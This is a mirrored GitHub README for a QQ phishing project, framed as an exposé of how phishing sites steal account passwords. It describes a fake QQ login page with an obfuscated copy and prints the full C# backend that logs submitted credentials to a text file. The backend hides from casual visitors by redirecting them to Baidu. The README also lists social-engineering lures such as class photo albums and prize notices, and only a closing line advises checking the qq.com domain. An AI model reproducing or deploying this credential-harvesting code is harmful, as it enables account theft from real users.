Giter Site home page Giter Site logo

getqqnumberandpwd's Introduction

getQQNumberAndPwd

揭秘钓鱼网站是如何盗取你们的账号密码的(以qq为例)

##纯页面程序 index.html未加密,ui.ptlogin2.qq.login.html是它的加密版。ajax.js是自己写的纯javascript-ajax调用,因为引用JQ的话文件加载回比较慢,这里就用了自己写的东东。

##至于后端用于记录Info的东东。那个太简单,页面我就不放了。代码写下来吧。

 public void ProcessRequest(HttpContext context)
        {
            //在此处写入您的处理程序实现。
            context.Response.AddHeader("Access-Control-Allow-Origin", "*");
            context.Response.ContentType = "text/plain";
            context.Response.Clear();
            context.Response.Charset = "UTF-8";

            string request = context.Request.Params["msg"];
            if (request != null)
            {
                string path = "Data\\qq\\";
                request = "[" + DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss") + "]  " + request;
                FileHelper.WriteFile(path + "qq.txt", request.Replace("local-host","\r\n"));
                context.Response.Write("KO");
            }
            else { 
                context.Response.Redirect("http://www.baidu.com");
            }
            context.Response.End();
        }
        
        private static string _RootPath = System.Web.HttpRuntime.AppDomainAppPath.ToString();
        
        /// <summary>
        /// 写文件 | 文本
        /// </summary>
        /// <param name="path">文件相对路径</param>
        /// <param name="Strings">文本内容</param>
        public static void WriteFile(string path, string Strings)
        {
            path = _RootPath + path;
            string pathD = path.Substring(0, path.LastIndexOf("\\"));
            if (Directory.Exists(pathD) == false) //目录是否存在,不存在则没有此目录
            {
                Directory.CreateDirectory(pathD);
            }
            System.IO.StreamWriter f2 = new System.IO.StreamWriter(path, true, System.Text.Encoding.UTF8);
            f2.WriteLine(Strings); 
            f2.Dispose();
        }

#程序就是这么简单,至于骗法万变不离其宗,无非就是同学相册啊,聚会相册啊,获得腾讯大奖啊之类。只要大家记住腾讯的登录域名qq.com就一定不会骗喽~

getqqnumberandpwd's People

Contributors

iwenli avatar

Watchers

James Cloos avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.